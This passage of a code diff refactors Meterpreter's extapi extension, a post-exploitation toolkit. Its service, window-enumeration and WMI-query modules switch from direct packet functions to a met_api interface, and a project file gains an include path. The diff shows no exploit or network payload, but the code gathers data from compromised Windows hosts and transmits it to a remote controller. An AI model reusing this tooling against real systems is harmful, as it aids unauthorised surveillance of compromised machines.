met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "");
|
||||
met_api->packet.add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -703,7 +704,7 @@ DWORD get_service_status(SC_HANDLE scService, Packet *pResponse)
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
|
||||
met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -757,7 +758,7 @@ DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse)
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string");
|
||||
}
|
||||
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString);
|
||||
|
||||
} while (0);
|
||||
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for window management functionality
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include "window.h"
|
||||
|
||||
VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle_u, const wchar_t* cpClassName_u, DWORD dwProcessId);
|
||||
@ -186,7 +187,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
QWORD parentWindow = 0;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bIncludeUnknown = FALSE;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -199,10 +200,10 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
|
||||
// Extract the specified parent window. If this is NULL, that's ok, as we'll
|
||||
// just enumerate top-level windows.
|
||||
parentWindow = packet_get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE);
|
||||
parentWindow = met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE);
|
||||
|
||||
// Extract the flag that indicates of unknown windows should be included in the output
|
||||
bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN);
|
||||
bIncludeUnknown = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN);
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Beginning window enumeration");
|
||||
dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow);
|
||||
@ -212,7 +213,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI WINDOW] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -228,11 +229,11 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
*/
|
||||
VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle, const wchar_t* cpClassName, DWORD dwProcessId)
|
||||
{
|
||||
Packet* pGroup = packet_create_group();
|
||||
Packet* pGroup = met_api->packet.create_group();
|
||||
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId);
|
||||
packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, wchar_to_utf8(cpWindowTitle));
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, wchar_to_utf8(cpClassName));
|
||||
packet_add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId);
|
||||
met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, met_api->string.wchar_to_utf8(cpWindowTitle));
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, met_api->string.wchar_to_utf8(cpClassName));
|
||||
met_api->packet.add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup);
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for WMI request handling functionality.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include "wshelpers.h"
|
||||
#include "wmi.h"
|
||||
#include "wmi_interface.h"
|
||||
@ -20,7 +21,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
LPSTR lpValue = NULL;
|
||||
LPWSTR lpwRoot = NULL;
|
||||
LPWSTR lpwQuery = NULL;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -29,7 +30,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI WMI] Unable to create response packet", ERROR_OUTOFMEMORY);
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
|
||||
|
||||
if (!lpValue)
|
||||
{
|
||||
@ -44,7 +45,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
|
||||
dprintf("[EXTAPI WMI] Query: %s", lpValue);
|
||||
dwResult = to_wide_string(lpValue, &lpwQuery);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -71,7 +72,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI WMI] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
|
@ -5,6 +5,7 @@
|
||||
*/
|
||||
extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include <inttypes.h>
|
||||
#include "wmi_interface.h"
|
||||
}
|
||||
@ -327,7 +328,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
|
||||
VARIANT** fields = (VARIANT**)malloc(sizeof(VARIANT*) * fieldCount);
|
||||
char value[FIELD_SIZE];
|
||||
Packet* fieldGroup = packet_create_group();
|
||||
Packet* fieldGroup = met_api->packet.create_group();
|
||||
|
||||
memset(fields, 0, sizeof(VARIANT*) * fieldCount);
|
||||
|
||||
@ -337,14 +338,14 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]);
|
||||
_bstr_t bstr(fields[i]->bstrVal);
|
||||
|
||||
packet_add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr);
|
||||
met_api->packet.add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr);
|
||||
|
||||
dprintf("[WMI] Added header field: %s", (const char*)bstr);
|
||||
}
|
||||
|
||||
dprintf("[WMI] added all field headers");
|
||||
// add the field names to the packet
|
||||
packet_add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup);
|
||||
met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup);
|
||||
|
||||
dprintf("[WMI] processing values...");
|
||||
// with that horrible pain out of the way, let's actually grab the data
|
||||
@ -356,7 +357,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
break;
|
||||
}
|
||||
|
||||
Packet* valueGroup = packet_create_group();
|
||||
Packet* valueGroup = met_api->packet.create_group();
|
||||
|
||||
for (LONG i = 0; i < fieldCount; ++i)
|
||||
{
|
||||
@ -373,13 +374,13 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
variant_to_string(_variant_t(varValue), value, FIELD_SIZE);
|
||||
}
|
||||
|
||||
packet_add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value);
|
||||
met_api->packet.add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value);
|
||||
|
||||
dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value);
|
||||
}
|
||||
|
||||
// add the field values to the packet
|
||||
packet_add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup);
|
||||
met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup);
|
||||
|
||||
pObj->Release();
|
||||
pObj = NULL;
|
||||
@ -436,7 +437,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
|
||||
_com_error comError(hResult);
|
||||
_snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult);
|
||||
dprintf("[WMI] returning error -> %s", errorMessage);
|
||||
packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
|
||||
hResult = S_OK;
|
||||
}
|
||||
|
||||
|
@ -84,7 +84,7 @@
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@ -134,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@ -237,7 +237,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
|
Loading…
Reference in New Issue
Block a user